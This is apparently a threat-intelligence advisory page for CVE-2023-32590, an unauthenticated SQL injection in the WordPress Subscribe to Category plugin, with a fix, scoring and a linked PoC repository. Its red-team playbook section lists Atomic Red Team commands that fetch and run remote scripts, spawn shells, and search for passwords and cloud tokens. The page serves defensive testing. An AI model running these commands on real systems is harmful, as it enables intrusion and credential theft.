CVE-2023-32590
Overview
This vulnerability is a SQL Injection caused by improper neutralization of special elements within SQL commands. The flaw exists in the Subscribe to Category WordPress plugin, specifically in the handling of input data submitted to its API endpoint. The affected component fails to sanitize user-supplied input before incorporating it into SQL queries, allowing malicious input to alter the intended SQL command structure.
Vulnerability Description
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Daniel Söderström / Sidney van de Stouwe Subscribe to Category.This issue affects Subscribe to Category: from n/a through 2.7.4.
Impact
An unauthenticated attacker can exploit this vulnerability without user interaction to execute arbitrary SQL commands against the backend database. This enables unauthorized data access, modification, or deletion, potentially exposing sensitive information or corrupting database integrity. The attack can result in data leakage or disruption of normal plugin operations, impacting the confidentiality and availability of the affected WordPress site.
Solution
Upgrade the Subscribe to Category plugin to version 2.7.5 or later, where this SQL injection vulnerability has been addressed. Detailed patch instructions and updates are available through the official Patchstack advisory at https://patchstack.com/database/vulnerability/subscribe-to-category/wordpress-subscribe-to-category-plugin-2-7-4-sql-injection-vulnerability?_s_id=cve. Applying this update is the recommended remediation to eliminate the flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Subscribe to Category plugin for WordPress is characterized by improper neutralization of special elements used in SQL commands, commonly known as SQL injection. This flaw allows an attacker to manipulate SQL queries executed by the application, potentially leading to unauthorized access to the database. The vulnerability arises from insufficient validation and sanitization of user input, particularly in areas where user-supplied data is incorporated into SQL statements. As a result, an attacker can craft malicious input that alters the intended SQL query, enabling them to execute arbitrary SQL commands on the underlying database.
Attack vectors for exploiting this vulnerability are varied and can be executed through multiple entry points within the application. An attacker may leverage input fields, such as search boxes, comment sections, or any form that accepts user input. By injecting specially crafted SQL code into these fields, the attacker can manipulate the database to retrieve sensitive information, modify records, or even delete data. For instance, an attacker could exploit this vulnerability to extract user credentials, payment information, or other sensitive data stored within the database. The ease of exploitation, especially for those with basic knowledge of SQL, makes this vulnerability particularly concerning.
The real-world impact of this vulnerability can be significant, especially for businesses relying on the affected plugin for their WordPress sites. Successful exploitation can lead to data breaches, resulting in the exposure of sensitive customer information, which may have legal and financial repercussions. Organizations may face regulatory penalties, loss of customer trust, and damage to their brand reputation. Furthermore, the potential for data manipulation or destruction could disrupt business operations, leading to additional costs associated with recovery and remediation efforts. The combination of these factors underscores the critical nature of addressing this vulnerability promptly.
To detect and mitigate the risks associated with this SQL injection vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify and remediate weaknesses in the application. Additionally, employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious traffic. It is also essential to ensure that all user inputs are properly validated and sanitized before being processed by the application. Developers should adopt prepared statements and parameterized queries as best practices to prevent SQL injection attacks. Finally, keeping the Subscribe to Category plugin and all other components of the WordPress site up to date is crucial in minimizing exposure to known vulnerabilities.
In conclusion, the SQL injection vulnerability in the Subscribe to Category plugin presents a serious threat to the security of WordPress sites utilizing this software. The potential for unauthorized database access and data manipulation, coupled with the ease of exploitation, poses significant risks to organizations. By employing robust detection and mitigation strategies, businesses can protect themselves from the adverse effects of such vulnerabilities, ensuring the integrity and confidentiality of their data while maintaining customer trust.
The CVSS score for CVE-2023-32590 has been revised upward from 7.5 to 9.3, reflecting a critical reassessment of the vulnerability’s impact and exploitability. This adjustment underscores an increased recognition of the ease with which unauthenticated attackers can execute SQL injection attacks against the Subscribe to Category plugin, potentially leading to full database compromise. CSURFACE threat intelligence has identified the emergence of publicly available proof-of-concept exploits hosted on prominent platforms, signaling a tangible rise in exploitation risk. Although our telemetry indicates the overall exploitation trend remains stable, the availability of these exploits significantly lowers the barrier for threat actors, including opportunistic attackers and more sophisticated adversaries, to weaponize this vulnerability. Consequently, the threat level escalates from high to critical, emphasizing the urgency for defenders to prioritize detection and response capabilities tailored to SQL injection vectors targeting this plugin.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Subscribe To Category Project | Subscribe To Category | All |
cpe:2.3:a:subscribe_to_category_project:subscribe_to_category:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2023-32590
Subscribe to Category <= 2.7.4 - Unauthenticated SQL Injection
|
RandomRobbieBF | 0 | 0 | 2025-01-12 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-32590 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/subscribe-to-category/wordpress-subscribe-to-category-plugin-2-7-4-sql-injection-vulnerability?_s_id=cve |